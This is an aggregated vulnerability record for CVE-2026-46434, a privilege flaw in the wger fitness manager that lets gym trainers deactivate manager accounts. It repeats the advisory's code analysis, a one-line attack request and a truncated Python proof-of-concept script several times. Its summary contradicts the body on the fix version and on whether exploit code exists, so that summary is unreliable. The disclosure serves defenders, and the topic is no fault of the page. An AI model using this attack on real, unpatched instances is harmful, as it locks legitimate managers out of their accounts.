CVE-2026-46434
wger: Trainer Privilege Escalation - Improper Privilege Management
wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.1
wger: Trainer Privilege Escalation - Improper Privilege Management
wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.
- Record
CVE-2026-46434- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
EUVDEUVD-2026-94333
7.1
wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.
- Record
EUVD-2026-94333- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-x249-cx55-2h87
7.1
wger: Trainer Privilege Escalation - Improper Privilege Management
Summary
A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
The dispatch() method only verifies same-gym membership:
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
- A gym with at least two users: one with
gym_managerrole (victim) and one withgym_trainerrole (attacker) - Both users belong to the same gym
Attack Steps
# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
The manager's account is immediately set to is_active = False. The manager can no longer log in.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Setup via Django ORM (must run inside container) ----
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
#…
- Record
GHSA-x249-cx55-2h87- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
NVD
7.1
wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.
- Record
CVE-2026-46434- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
OSV
7.1
wger: Trainer Privilege Escalation - Improper Privilege Management
wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.
- Record
CVE-2026-46434- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
OSVGHSA-x249-cx55-2h87
7.1
wger: Trainer Privilege Escalation - Improper Privilege Management
Summary
A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
The dispatch() method only verifies same-gym membership:
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
- A gym with at least two users: one with
gym_managerrole (victim) and one withgym_trainerrole (attacker) - Both users belong to the same gym
Attack Steps
# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
The manager's account is immediately set to is_active = False. The manager can no longer log in.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Setup via Django ORM (must run inside container) ----
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
#…
- Record
GHSA-x249-cx55-2h87- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - Weakness
- CWE-269
- Updated
- 2026-11-02
OSVPYSEC-2026-4316
7.1
wger: Trainer Privilege Escalation - Improper Privilege Management
Summary
A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
The dispatch() method only verifies same-gym membership:
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
- A gym with at least two users: one with
gym_managerrole (victim) and one withgym_trainerrole (attacker) - Both users belong to the same gym
Attack Steps
# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
The manager's account is immediately set to is_active = False. The manager can no longer log in.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Setup via Django ORM (must run inside container) ----
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
#…
- Record
PYSEC-2026-4316- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-46434 is a high vulnerability (CVSS 7.1) in Wger-project Wger, published October 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 12th percentile. No source names a fixed version.
References
github.com/wger-project/wger/security/advisories/GHSA-x249-cx55-2h87
github.com/wger-project/wger/releases/tag/2.6
nvd.nist.gov/vuln/detail/CVE-2026-46434
github.com/wger-project/wger/commit/9be2d5f2b4559f9a9d5b3f3b3cdadcfef449f645
github.com/pypa/advisory-database/tree/main/vulns/wger/PYSEC-2026-4316.yaml
pypi.org/project/wger
github.com/advisories/GHSA-x249-cx55-2h87
github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46434.json
github.com/wger-project/wger
Left out here: the rest of 3 source descriptions. The JSON record has them.